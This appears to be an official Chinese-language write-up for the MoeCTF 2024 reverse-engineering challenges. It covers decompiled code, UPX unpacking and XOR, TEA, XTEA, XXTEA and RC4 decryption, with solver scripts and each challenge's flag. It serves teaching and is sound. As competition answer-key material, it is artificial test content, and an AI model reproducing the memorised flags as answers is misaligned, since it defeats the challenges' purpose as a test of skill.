关于WP

Author: 0xcafebabe
第三方题目(非XDSEC成员):
1.xor(大嘘) (Author: 中国人民警察大学的:Chovy)
2.Cython-Strike: Bomb Defusion (Author: 西安电子科技大学的:不玩逆向爱玩CS的同学)

入门指北

下载PDF,了解里面关于XOR的讲解内容后,可以发现直接给出了解题代码。

#include <iostream>
int main()
{
    char password_enc[] = { 
        123, 121, 115, 117, 98, 112, 109, 100, 37, 96, 37, 100, 101, 37, 73, 39,
        101, 73, 119, 73, 122, 121, 120, 113, 73, 122, 121, 120, 113, 73, 97, 119, 
        111, 73, 98, 121, 73, 115, 110, 102, 122, 121, 100, 115, 107, 22 };
    // 因为a^b=c时, b^c=a, 所以我们可以这样还原数据:
    char password[47];
    for (int i = 0; i < 46; i++) {
        password[i] = password_enc[i] ^ 22;
    }
    password[46] = 0; // 使用0字符来截断掉%s的无尽输出..
        printf("%s\n", password); // 哈哈,这就是本题的f l a g,自己运行一下交上去吧!
    return 0;
}

可以拿到flag
moectf{r3v3rs3_1s_a_long_long_way_to_explore}

Xor

拿到附件后发现是Windows下的可执行文件(.exe),我们载入IDA后可以观察到反编译的代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rax
  __int64 i; // rax
  char Buffer[16]; // [rsp+20h] [rbp-48h] BYREF
  __int128 v7; // [rsp+30h] [rbp-38h]
  __int64 v8; // [rsp+40h] [rbp-28h]
  int v9; // [rsp+48h] [rbp-20h]
  char v10; // [rsp+4Ch] [rbp-1Ch]

  sub_140001010("Input Your Flag moectf{xxx} (len = 45) \n");
  v8 = 0LL;
  *(_OWORD *)Buffer = 0LL;
  v9 = 0;
  v7 = 0LL;
  v10 = 0;
  v3 = _acrt_iob_func(0);
  fgets(Buffer, 45, v3);
  for ( i = 0LL; i < 44; ++i )
  {
    if ( ((unsigned __int8)Buffer[i] ^ 0x24) != byte_1400022B8[i] )
    {
      sub_140001010("FLAG is wrong!\n");
      system("pause");
      exit(0);
    }
  }
  sub_140001010("FLAG is RIGHT!\n");
  system("pause");
  return 0;
}

我们注意到 char Buffer[16]; // [rsp+20h] [rbp-48h] BYREF这个变量的大小是16,但是下面 fgets(Buffer, 45, v3);的大小是45,可以推测这个变量的大小反编译错误了。我们按y改成45,再刷新看代码。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rax
  __int64 i; // rax
  char Buffer[48]; // [rsp+20h] [rbp-48h] BYREF

  sub_140001010("Input Your Flag moectf{xxx} (len = 45) \n");
  memset(Buffer, 0, 45);
  v3 = _acrt_iob_func(0);
  fgets(Buffer, 45, v3);
  for ( i = 0LL; i < 44; ++i )
  {
    if ( ((unsigned __int8)Buffer[i] ^ 0x24) != byte_1400022B8[i] )
    {
      sub_140001010("FLAG is wrong!\n");
      system("pause");
      exit(0);
    }
  }
  sub_140001010("FLAG is RIGHT!\n");
  system("pause");
  return 0;
}

可以发现,下面那些由于反编译错误的变量消失了,这时我们可以看到程序主逻辑是异或0x24并且逐个与byte_1400022B8进行比较,我们双击byte_1400022B8。

.rdata:00000001400022B8 ; _BYTE byte_1400022B8[56]
.rdata:00000001400022B8 byte_1400022B8  db 49h, 4Bh, 41h, 47h, 50h, 42h, 5Fh, 41h, 1Ch, 16h, 46h
.rdata:00000001400022B8                                         ; DATA XREF: main+58↑o
.rdata:00000001400022C3                 db 10h, 13h, 1Ch, 40h, 9, 42h, 16h, 46h, 1Ch, 9, 2 dup(10h)
.rdata:00000001400022CF                 db 42h, 1Dh, 9, 46h, 15h, 2 dup(14h), 9, 17h, 16h, 14h
.rdata:00000001400022DA                 db 41h, 2 dup(40h), 16h, 14h, 47h, 12h, 40h, 14h, 59h
.rdata:00000001400022E4                 db 0Ch dup(0)

发现这种形式,不方便抄出来,所以我们按U,他就会变成Undefined,再右键选中所有的,Convert拿出来成Python的List。
所以我们很容易写出EXP(解题脚本)。

enc = [0x49, 0x4B, 0x41, 0x47, 0x50, 0x42, 0x5F, 0x41, 0x1C, 0x16, 0x46, 0x10, 0x13, 0x1C, 0x40, 0x09, 0x42, 0x16, 0x46, 0x1C, 0x09, 0x10, 0x10, 0x42, 0x1D, 0x09, 0x46, 0x15, 0x14, 0x14, 0x09, 0x17, 0x16, 0x14, 0x41, 0x40, 0x40, 0x16, 0x14, 0x47, 0x12, 0x40, 0x14, 0x59]
for i in enc:
    print(chr(i ^ 0x24), end='')
    # moectf{e82b478d-f2b8-44f9-b100-320edd20c6d0}

所以Flag:moectf{e82b478d-f2b8-44f9-b100-320edd20c6d0}

upx

github下载UPX,然后用命令行启动,upx -d,就可以解压程序,再拖入IDA,即可查看正确的flag。
moectf{ec5390dd-f8cf-4b02-bc29-3bb0c5604c29}

dynamic

程序要求我们进行动态调试,我们先载入IDA进行分析。

int __fastcall main_0(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  __int64 i; // rcx
  char v6; // [rsp+20h] [rbp+0h] BYREF
  _BYTE v7[80]; // [rsp+28h] [rbp+8h] BYREF
  _DWORD v8[56]; // [rsp+78h] [rbp+58h] BYREF

  v3 = &v6;
  for ( i = 34LL; i; --i )
  {
    *(_DWORD *)v3 = -858993460;
    v3 += 4;
  }
  j___CheckForDebuggerJustMyCode(&unk_140022067, argv, envp);
  v7[0] = -94;
  v7[1] = 5;
  v7[2] = 105;
  v7[3] = -117;
  v7[4] = -38;
  v7[5] = 23;
  v7[6] = 5;
  v7[7] = -31;
  v7[8] = -36;
  v7[9] = -52;
  v7[10] = -52;
  v7[11] = -63;
  v7[12] = 100;
  v7[13] = 116;
  v7[14] = -6;
  v7[15] = 80;
  v7[16] = -43;
  v7[17] = -95;
  v7[18] = -102;
  v7[19] = -84;
  v7[20] = -36;
  v7[21] = -34;
  v7[22] = 100;
  v7[23] = -65;
  v7[24] = -108;
  v7[25] = 45;
  v7[26] = 35;
  v7[27] = -13;
  v7[28] = 1;
  v7[29] = -43;
  v7[30] = 98;
  v7[31] = -56;
  v7[32] = -22;
  v7[33] = -83;
  v7[34] = -46;
  v7[35] = -42;
  v7[36] = 42;
  v7[37] = 80;
  v7[38] = 94;
  v7[39] = 107;
  v7[40] = 115;
  v7[41] = 12;
  v7[42] = -3;
  v7[43] = -116;
  v7[44] = 61;
  v7[45] = 56;
  v7[46] = 61;
  v7[47] = -47;
  v8[0] = -889275714;
  v8[1] = -559038242;
  v8[2] = 866566;
  v8[3] = 1131796;
  sub_14001129E(v7, 4294967284LL, v8);
  sub_1400113D4("What happened to my Flag?\n");
  sub_14001129E(v7, 12LL, v8);
  sub_1400113D4("Your Flag has REencrypted.");
  return 0;
}

可以发现,What happened to my Flag?上下都有一个sub_14001129E的函数,我们对4294967284LL进行分析,可以知道它其实是-12(0xFFFFFFF4LL),再点进去,可以观察到如下代码

__int64 __fastcall sub_140011820(int *a1, __int64 a2, __int64 a3)
{
  __int64 result; // rax
  unsigned int v4; // [rsp+24h] [rbp+4h]
  unsigned int v5; // [rsp+24h] [rbp+4h]
  unsigned int v6; // [rsp+44h] [rbp+24h]
  unsigned int v7; // [rsp+44h] [rbp+24h]
  unsigned int v8; // [rsp+44h] [rbp+24h]
  unsigned int v9; // [rsp+64h] [rbp+44h]
  unsigned int v10; // [rsp+64h] [rbp+44h]
  unsigned int j; // [rsp+84h] [rbp+64h]
  int i; // [rsp+84h] [rbp+64h]
  int v13; // [rsp+A4h] [rbp+84h]
  int v14; // [rsp+A4h] [rbp+84h]
  int v15; // [rsp+C4h] [rbp+A4h]
  unsigned int v16; // [rsp+C4h] [rbp+A4h]
  int v17; // [rsp+194h] [rbp+174h]
  int v18; // [rsp+194h] [rbp+174h]
  int v19; // [rsp+194h] [rbp+174h]
  int v20; // [rsp+194h] [rbp+174h]
  int v22; // [rsp+1C8h] [rbp+1A8h]
  int v23; // [rsp+1C8h] [rbp+1A8h]

  v22 = a2;
  result = j___CheckForDebuggerJustMyCode(&unk_140022067, a2, a3);
  if ( v22 <= 1 )
  {
    if ( v22 < -1 )
    {
      v23 = -v22;
      v14 = 52 / v23 + 6;
      v10 = 1131796 * v14;
      v5 = *a1;
      do
      {
        v16 = (v10 >> 2) & 3;
        for ( i = v23 - 1; i; --i )
        {
          v7 = a1[i - 1];
          v19 = a1[i]
              - (((v7 ^ *(_DWORD *)(a3 + 4LL * (v16 ^ i & 3))) + (v5 ^ v10)) ^ (((16 * v7) ^ (v5 >> 3))
                                                                              + ((4 * v5) ^ (v7 >> 5))));
          a1[i] = v19;
          v5 = v19;
        }
        v8 = a1[v23 - 1];
        v20 = *a1
            - (((v8 ^ *(_DWORD *)(a3 + 4LL * v16)) + (v5 ^ v10)) ^ (((16 * v8) ^ (v5 >> 3)) + ((4 * v5) ^ (v8 >> 5))));
        *a1 = v20;
        v5 = v20;
        v10 -= 1131796;
        result = (unsigned int)--v14;
      }
      while ( v14 );
    }
  }
  else
  {
    v13 = 52 / v22 + 6;
    v9 = 0;
    v6 = a1[v22 - 1];
    do
    {
      v9 += 1131796;
      v15 = (v9 >> 2) & 3;
      for ( j = 0; j < v22 - 1; ++j )
      {
        v4 = a1[j + 1];
        v17 = (((v6 ^ *(_DWORD *)(a3 + 4LL * (v15 ^ j & 3))) + (v4 ^ v9)) ^ (((16 * v6) ^ (v4 >> 3))
                                                                           + ((4 * v4) ^ (v6 >> 5))))
            + a1[j];
        a1[j] = v17;
        v6 = v17;
      }
      v18 = (((v6 ^ *(_DWORD *)(a3 + 4LL * (v15 ^ j & 3))) + (*a1 ^ v9)) ^ (((16 * v6) ^ ((unsigned int)*a1 >> 3))
                                                                          + ((4 * *a1) ^ (v6 >> 5))))
          + a1[v22 - 1];
      a1[v22 - 1] = v18;
      v6 = v18;
      result = (unsigned int)--v13;
    }
    while ( v13 );
  }
  return result;
}

这其实是一个标准的XXTEA,当n>1的时候(也就是+12)的时候,是加密,-12就是解密。
所以这个程序其实在做一个事情:把内置的flag进行解密后又马上加密回去,所以我们只需要动态调试,找到解密后的flag即可。
最后我们附上这个题目的c语言源码

#include <iostream>
#include <stdint.h>
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
#define DELTA 0x114514
void ppp(uint32_t* v, int n, uint32_t const key[4])
{
        uint32_t y, z, sum;
        unsigned p, rounds, e;
        if (n > 1)            /* Coding Part */
        {
                rounds = 6 + 52 / n;
                sum = 0;
                z = v[n - 1];
                do
                {
                        sum += DELTA;
                        e = (sum >> 2) & 3;
                        for (p = 0; p < n - 1; p++)
                        {
                                y = v[p + 1];
                                z = v[p] += MX;
                        }
                        y = v[0];
                        z = v[n - 1] += MX;
                } while (--rounds);
        }
        else if (n < -1)      /* Decoding Part */
        {
                n = -n;
                rounds = 6 + 52 / n;
                sum = rounds * DELTA;
                y = v[0];
                do
                {
                        e = (sum >> 2) & 3;
                        for (p = n - 1; p > 0; p--)
                        {
                                z = v[p - 1];
                                y = v[p] -= MX;
                        }
                        z = v[n - 1];
                        y = v[0] -= MX;
                        sum -= DELTA;
                } while (--rounds);
        }
}
int main()
{
        char v[] = { 0xa2,0x05,0x69,0x8b,0xda,0x17,0x05,0xe1,0xdc,0xcc,0xcc,0xc1,0x64,0x74,0xfa,0x50,0xd5,0xa1,0x9a,0xac,0xdc,0xde,0x64,0xbf,0x94,0x2d,0x23,0xf3,0x01,0xd5,0x62,0xc8,0xea,0xad,0xd2,0xd6,0x2a,0x50,0x5e,0x6b,0x73,0x0c,0xfd,0x8c,0x3d,0x38,0x3d,0xd1 };
        uint32_t k[] = { 0xcafebabe , 0xdeadc0de, 0xd3906, 0x114514 };
        ppp((uint32_t*)v, -12, k);
        printf("What happened to my Flag?");
        ppp((uint32_t*)v, 12, k);
        printf("Your Flag has encrypted.");
        return 0;
}

moectf{18d4c944-947c-4808-9536-c7d34d6b3827}

Reverse 问卷: Bye, MoeCTF2024

填写问卷即可获得flag。
moectf{Thank_You_FOR_Playing_Reverse_Challenges}

upx-revenge

解法1:这个程序直接upx -d是显示无法进行解压的,原因是UPX解压的时候会检测程序段名称是否为UPX0UPX1这类的,但是我改成了vmp0,导致无法直接解压,我们使用010Editor打开后更改这个字符串也就可以解密了。
解法2:直接拖入X64dbg进行动态调试,调试起来后直接搜索全局字符串,就可以找到flag。
解法3:CheatEngine进行字符串搜索。
moectf{554ea35c-a1bb-4d8f-a323-bd697564bf27}

XTEA

我们拿到文件后拖入IDA,可以获得以下代码

int __fastcall main_0(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  __int64 i; // rcx
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v10; // rax
  char v11; // [rsp+20h] [rbp+0h] BYREF
  unsigned int v12; // [rsp+24h] [rbp+4h]
  char Str[48]; // [rsp+48h] [rbp+28h] BYREF
  _DWORD v14[12]; // [rsp+78h] [rbp+58h] BYREF
  _BYTE Src[32]; // [rsp+A8h] [rbp+88h] BYREF
  _BYTE v16[28]; // [rsp+C8h] [rbp+A8h] BYREF
  int j; // [rsp+E4h] [rbp+C4h]

  v3 = &v11;
  for ( i = 58LL; i; --i )
  {
    *(_DWORD *)v3 = -858993460;
    v3 += 4;
  }
  j___CheckForDebuggerJustMyCode(&unk_140028066, argv, envp);
  v12 = 32;
  memset(Str, 0, 0xDuLL);
  v5 = sub_1400110AA(std::cout, "please input key:");
  std::ostream::operator<<(v5, sub_140011046);
  sub_14001153C(std::cin, Str);
  v14[0] = 2;
  v14[1] = 0;
  v14[2] = 2;
  v14[3] = 4;
  v6 = sub_1400110AA(std::cout, "let me check your key");
  std::ostream::operator<<(v6, sub_140011046);
  v7 = sub_1400110AA(std::cout, "emmm");
  std::ostream::operator<<(v7, sub_140011046);
  if ( j_strlen(Str) == 12 )
  {
    memset(v16, 0, 8uLL);
    j_memcpy(Src, Str, 8uLL);
    sub_14001119F(v12, Src, v14);
    j_memcpy(Str, Src, 8uLL);
    j_memcpy(v16, &Str[4], 8uLL);
    sub_14001119F(v12, v16, v14);
    j_memcpy(&Str[4], v16, 8uLL);
    for ( j = 0; j < 12; ++j )
    {
      if ( Str[j] != byte_140022000[j] )
        goto LABEL_5;
    }
    v10 = sub_1400110AA(std::cout, "Correct key! Your flag is moectf{your key}");
    std::ostream::operator<<(v10, sub_140011046);
    return 0;
  }
  else
  {
LABEL_5:
    v8 = sub_1400110AA(std::cout, "XD,wrong!");
    std::ostream::operator<<(v8, sub_140011046);
    return 0;
  }
}

可以观察到,sub_14001119F为加密函数,因为在memcpy之后进行的它,并且它的结果又覆盖回去了,最后与正确的结果进行对比。
以下是XTEA的加密

__int64 __fastcall sub_1400148C0(unsigned int a1, unsigned int *a2, __int64 a3)
{
  __int64 result; // rax
  unsigned int i; // [rsp+24h] [rbp+4h]
  unsigned int v5; // [rsp+44h] [rbp+24h]
  unsigned int v6; // [rsp+64h] [rbp+44h]
  unsigned int v7; // [rsp+84h] [rbp+64h]

  j___CheckForDebuggerJustMyCode(&unk_140028066, a2, a3);
  v5 = *a2;
  v6 = a2[1];
  v7 = 0;
  for ( i = 0; i < a1; ++i )
  {
    v5 += (*(_DWORD *)(a3 + 4LL * (v7 & 3)) + v7) ^ (v6 + ((v6 >> 5) ^ (16 * v6)));
    v7 -= 855655493;
    v6 += (*(_DWORD *)(a3 + 4LL * ((v7 >> 11) & 3)) + v7) ^ (v5 + ((v5 >> 5) ^ (16 * v5)));
  }
  *a2 = v5;
  result = 4LL;
  a2[1] = v6;
  return result;
}

我们可以观察到IDA存在一些反编译错误,比如a3是一个DWORD型的指针(在main函数中,这个数组被赋值为了2 0 2 4)。我们进行修改,并且我们发现第一个参数是rounds(循环次数),第二个参数是Source,修改后的结果如下:

__int64 __fastcall sub_1400148C0(unsigned int rounds, unsigned int *source, _DWORD *key)
{
  __int64 result; // rax
  unsigned int i; // [rsp+24h] [rbp+4h]
  unsigned int v5; // [rsp+44h] [rbp+24h]
  unsigned int v6; // [rsp+64h] [rbp+44h]
  unsigned int v7; // [rsp+84h] [rbp+64h]

  j___CheckForDebuggerJustMyCode(&unk_140028066, source, key);
  v5 = *source;
  v6 = source[1];
  v7 = 0;
  for ( i = 0; i < rounds; ++i )
  {
    v5 += (key[v7 & 3] + v7) ^ (v6 + ((v6 >> 5) ^ (16 * v6)));
    v7 -= 855655493;
    v6 += (key[(v7 >> 11) & 3] + v7) ^ (v5 + ((v5 >> 5) ^ (16 * v5)));
  }
  *source = v5;
  result = 4LL;
  source[1] = v6;
  return result;
}

于是,我们可以观察到这是一个魔改了Delta的XTEA。
我们再返回main函数进行观察

  if ( j_strlen(Str) == 12 )
  {
    memset(v16, 0, 8uLL);
    j_memcpy(Src, Str, 8uLL);
    xtea_encrypt(len, (__int64)Src, (__int64)key);
    j_memcpy(Str, Src, 8uLL);
    j_memcpy(v16, &Str[4], 8uLL);
    xtea_encrypt(len, (__int64)v16, (__int64)key);
    j_memcpy(&Str[4], v16, 8uLL);
    for ( j = 0; j < 12; ++j )
    {
      if ( Str[j] != byte_140022000[j] )
        goto LABEL_5;
    }
    v10 = sub_1400110AA(std::cout, "Correct key! Your flag is moectf{your key}");
    std::ostream::operator<<(v10, sub_140011046);
    return 0;
  }

可以注意到,输入的数据是12字节,也就是flag长度是12字节,首先Str(输入的字符)前8个字节先拷贝到了Src里面,然后Src进行加密,加密了前8个字节(因为Xtea只加密8个字节),然后,memcpy把加密的8个字节再覆盖回Str里面,接下来,Memcpy对str+4拷贝(拷贝后8个字节)到v16中,然后对v16进行加密,所以上面的流程可以等效为:

xtea_encrypt(len, (__int64)Src, (__int64)key);
xtea_encrypt(len, (__int64)(Src + 4), (__int64)key);

最后和标准结果进行对比。
我们写出最后的EXP *(由于Regadgets库暂时不公开,所以我只放出了部分使用到的函数的源码。)

enc = [0xA3, 0x69, 0x96, 0x26, 0xBD, 0x78, 0x0B, 0x3D, 0x9D, 0xA5, 0x28, 0x62]
key = [2, 0, 2, 4]

# 拆分成3个DWORD
dw1, dw2, dw3 = byte2dword(enc)

dw2, dw3 = xtea_decrypt((dw2, dw3), key=key, delta=-0x33004445, rounds=32)
dw1, dw2 = xtea_decrypt((dw1, dw2), key=key, delta=-0x33004445, rounds=32)

print(dword2byte([dw1, dw2, dw3]))
# b'moectf2024!!'

'''
from regadgets import *
Internal Functions Of Regadgets
'''
from typing import List, Tuple
from struct import unpack
from ctypes import c_uint32
def byte2dword(x: List[int]):
    if len(x) % 4 != 0:
        if type(x) == bytes:
            x += b'\x00' * (4 - (len(x) % 4))
        else:
            x += [0] * (4 - (len(x) % 4))
    return [v[0] for v in (unpack('<I', bytes(x[i:i+4])) for i in range(0, len(x), 4))]

def xtea_decrypt(
    src: Tuple[int, int], key: List[int], delta: int = 0x9E3779B9, rounds: int = 32
):
    l, r = c_uint32(src[0]), c_uint32(src[1])
    sum = c_uint32(delta * rounds)
    k = [c_uint32(key[0]), c_uint32(key[1]), c_uint32(key[2]), c_uint32(key[3])]
    for _ in range(rounds):
        r.value -= (((l.value << 4) ^ (l.value >> 5)) + l.value) ^ (
            sum.value + k[(sum.value >> 11) & 3].value
        )
        sum.value -= delta
        l.value -= (((r.value << 4) ^ (r.value >> 5)) + r.value) ^ (
            sum.value + k[sum.value & 3].value
        )
    return (l.value, r.value)

def dword2byte(x: List[int]):
    result = []
    if type(x) == int:
        for j in range(4):
            result.append((x >> j*8) & 0xff)
        return bytes(result)
    for i in range(len(x)):
        for j in range(4):
            result.append((x[i] >> j*8) & 0xff)
    return bytes(result)
'''
Internal Functions Of Regadgets
'''

所以最后的flag是moectf{moectf2024!!}

dotNet(d0tN3t)

dll(核心代码)拖入dnSpy进行分析

using System;
using System.Runtime.CompilerServices;

// Token: 0x02000002 RID: 2
[CompilerGenerated]
internal class Program
{
    // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
    private static void <Main>$(string[] args)
    {
        byte[] array = new byte[]
        {
            0xAD,
            .....
            0xA4
        };
        Console.WriteLine("Input Your Flag:");
        string text = Console.ReadLine();
        if (text.Length != array.Length)
        {
            Console.WriteLine("Flag is WRONG!!!");
            return;
        }
        int num = 1;
        for (int i = 0; i < array.Length; i++)
        {
            if ((byte)((int)((byte)text[i] + 0x72 ^ 0x72) ^ i * i) != array[i])
            {
                num &= 0;
            }
        }
        if (num == 1)
        {
            Console.WriteLine("Correct Flag!!!");
            return;
        }
        Console.WriteLine("Flag is WRONG!!!");
    }
}

注意到flag的加密逻辑

(byte)((int)((byte)text[i] + 0x72 ^ 0x72) ^ i * i)

写出解密脚本即可

byte[] s3cr3t = {173, 146, 161, 174, 132, 179, 187, 234, 231, 244, 177, 161, 65, 13, 18, 12, 166, 247, 229, 207, 125, 109, 67, 180, 230, 156, 125, 127, 182, 236, 105, 21, 215, 148, 92, 18, 199, 137, 124, 38, 228, 55, 62, 164};
for (int i = 0; i < s3cr3t.Length; i++)
{
    Console.Out.Write((char)((byte)(s3cr3t[i] ^ i*i ^ 114) - 114));
}

同时我们给出python的exp

enc = [173, 146, 161, 174, 132, 179, 187, 234, 231, 244, 177, 161, 65, 13, 18, 12, 166, 247, 229, 207, 125, 109, 67, 180, 230, 156, 125, 127, 182, 236, 105, 21, 215, 148, 92, 18, 199, 137, 124, 38, 228, 55, 62, 164]

for i in range(len(enc)):
    print(chr(((i*i ^ 114 ^ enc[i]) - 114) & 0xff), end='')

# moectf{7ce581d2-b2ab-4ceb-9bbe-435873083db6}

由于很多人用Python写的,但是没有注意到Python的int是无限精度的,所以我们必须限制它在0xff(byte)的范围内,才可以解出flag,不然可能会出现负数的情况。
flag: moectf{7ce581d2-b2ab-4ceb-9bbe-435873083db6}

RC4

拖入IDA,我们发现ida没有找到main函数,这时按Shift+F12,定位String,然后对着String按X(交叉引用),就可以定位到main函数。

__int64 __fastcall sub_4013F0(__int64 a1, const char *a2)
{
  unsigned __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v6; // [rsp+18h] [rbp-88h]
  int i; // [rsp+24h] [rbp-7Ch]
  __int64 v8; // [rsp+28h] [rbp-78h]
  _BYTE v9[72]; // [rsp+50h] [rbp-50h] BYREF
  unsigned __int64 v10; // [rsp+98h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v2 = sub_404748("A71A68ECD82711CC8C9B16155CD2673E82ADCE75D4BC5756C28A52B86BD6CCF8A4BA722FE05715B92411");
  v8 = sub_401B01(v2 >> 1);
  for ( i = 0;
        i < (unsigned __int64)sub_404748("A71A68ECD82711CC8C9B16155CD2673E82ADCE75D4BC5756C28A52B86BD6CCF8A4BA722FE05715B92411") >> 1;
        ++i )
  {
    sub_40202D((__int64)&aA71a68ecd82711[2 * i], (__int64)"%02x", i + v8);
  }
  sub_401F8D("Welcome to MoeCTF 2024!");
  sub_401F8D("This is a simple RC4 challenge.");
  sub_401ECD((__int64)"Enter your flag: ");
  sub_401BCC(&unk_40E120);
  sub_401D17(v9, 64LL, &unk_40E020);
  v9[sub_40469F(v9, "\n")] = 0;
  v3 = sub_404748(v9);
  v6 = sub_401B01(4 * v3);
  sub_401360("RC4_1s_4w3s0m3", v9, v6);
  v4 = sub_404748(v9);
  if ( (unsigned int)sub_404679(v6, v8, v4) )
    sub_401F8D("Wrong!");
  else
    sub_401F8D("Correct!");
  if ( __readfsqword(0x28u) != v10 )
    sub_40183E();
  return 0LL;
}

显然题目说了是Rc4,并且RC4_1s_4w3s0m3很可能是密码,我们直接拿上面的HEX进行解密就出了。

print(rc4_crypt(rc4_init(b"RC4_1s_4w3s0m3"), bytes.fromhex('A71A68ECD82711CC8C9B16155CD2673E82ADCE75D4BC5756C28A52B86BD6CCF8A4BA722FE05715B92411')))
# b'moectf{why_Rc4_haS_The_Rev32sabl3_pr0ceSS}'

'''
from regadgets import *
Internal Functions Of Regadgets
'''
from typing import List, Iterator
def rc4_init(key: bytes, box_size: int = 256) -> List[int]:
    if type(key) == str:
        key = key.encode()
    s = list(range(box_size))
    j = 0
    key_length = len(key)

    # Key scheduling algorithm (KSA)
    for i in range(box_size):
        # permit key is empty.
        j = (j + s[i] + 0 if key_length == 0 else j + s[i] + key[i % key_length]) % box_size
        # Swap s[i], s[j]
        s[i], s[j] = s[j], s[i]

    return s

def rc4_crypt(s: bytes, data: bytes, box_size: int = 256) -> bytes:
    i, j = 0, 0
    result = bytearray()

    # Pseudo-random generation algorithm (PRGA)
    for k in range(len(data)):
        i = (i + 1) %  box_size
        j = (j + s[i]) % box_size

        # Swap s[i], s[j]
        s[i], s[j] = s[j], s[i]

        t = (s[i] + s[j]) % box_size
        result.append(data[k] ^ s[t])

    return bytes(result)
'''
Internal Functions Of Regadgets
'''

xxtea

给出题目源码

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[((p&3)^e)&0xff] ^ z)))

void btea(uint32_t* v, int n, const uint32_t key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52 / n;
        sum = 0;
        z = v[n - 1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++)
            {
                y = v[p + 1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52 / n;
        sum = rounds * DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--)
            {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
        } while (--rounds);
    }
}
int main() {
    unsigned char enc[] = { 0x64,0xf5,0xe1,0x78,0xe1,0xf0,
0x35,0xa8,0x34,0xff,0x12,0x05,
0xfb,0x13,0xe9,0xb0,0x50,0xa3,
0xb9,0x89,0xb1,0xda,0x43,0xc9,
0x4f,0xc8,0xdb,0x01,0x20,0xdb,
0x16,0xaf,0xed,0x67,0x17,0x96
    };
    int r = 9;
    unsigned char input_key[13] = "moectf2024!!"; 
    const uint32_t k[4] = { *((uint32_t*)input_key),*((uint32_t*)(input_key + 4)), *((uint32_t*)(input_key + 8)),0xccffbbbb };
    btea(((uint32_t*)enc),-r,k);
    //btea(((uint32_t*)input), -r, ((uint32_t*)input_key));
    for (int i = 0; i < 36; i++) {
        printf("%c",enc[i]);
    }
    return 0;
}

EXP:

#include <stdio.h>
#include <string.h>
#include <stdint.h>



#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[((p&3)^e)&0xff] ^ z)))

void btea(uint32_t* v, int n, const uint32_t key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52 / n;
        sum = 0;
        z = v[n - 1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++)
            {
                y = v[p + 1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52 / n;
        sum = rounds * DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--)
            {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
        } while (--rounds);
    }
}
int main() {
    unsigned char enc[] = { 0x64,0xf5,0xe1,0x78,0xe1,0xf0,
0x35,0xa8,0x34,0xff,0x12,0x05,
0xfb,0x13,0xe9,0xb0,0x50,0xa3,
0xb9,0x89,0xb1,0xda,0x43,0xc9,
0x4f,0xc8,0xdb,0x01,0x20,0xdb,
0x16,0xaf,0xed,0x67,0x17,0x96
    };
    int r = 9;
    unsigned char input_key[13] = "moectf2024!!"; // Adjusted size to fit 12 characters + null terminator
    
    const uint32_t k[4] = { *((uint32_t*)input_key),*((uint32_t*)(input_key + 4)), *((uint32_t*)(input_key + 8)),0xccffbbbb };
    btea(((uint32_t*)enc),-r,k);
    //moectf{j9h8hg75nky6vhkslh5v5awibr4i}
    //btea(((uint32_t*)input), -r, ((uint32_t*)input_key));
    for (int i = 0; i < 36; i++) {
        printf("%c",enc[i]);
    }
    return 0;
}

选手只需要在网上找到xxtea实现并且对照逆向即可。
moectf{j9h8hg75nky6vhkslh5v5awibr4i}

TEA

本题是标准的TEA(难度低于XTEA和XXTEA),选手只需要打开IDA找到v = {0x284c2234, 0x3910c558}, k = "base64xorteaxtea",再通过观察,对比程序内TEA和正常TEA逻辑相同,故写出解密脚本:

#include <iostream>
#include <stdint.h>

void decrypt(uint32_t* v, uint32_t* k) {
        uint32_t v0 = v[0], v1 = v[1];
        uint32_t delta = 0x9e3779b9;
        uint32_t sum = delta * 32;
        uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

        for (int i = 0; i < 32; i++) {
                v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
                v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
                sum -= delta;
        }

        v[0] = v0;
        v[1] = v1;
}


int main()
{
        uint32_t v[2]; uint32_t v2;
        v[0] = 0x284c2234;
        v[1] = 0x3910c558;
        decrypt(v, (uint32_t*)"base64xorteaxtea");
        printf("moectf{%x-", v[0]);
        printf("%x-", v[1] >> 16 );
        printf("%x-9c42-caf30620caaf}", v[1] & 0xffff);
        return 0;
}

moectf{836153a5-8e00-49bd-9c42-caf30620caaf}

逆向工程进阶之北

这个指北中的问题是,如何求解乘法逆元。
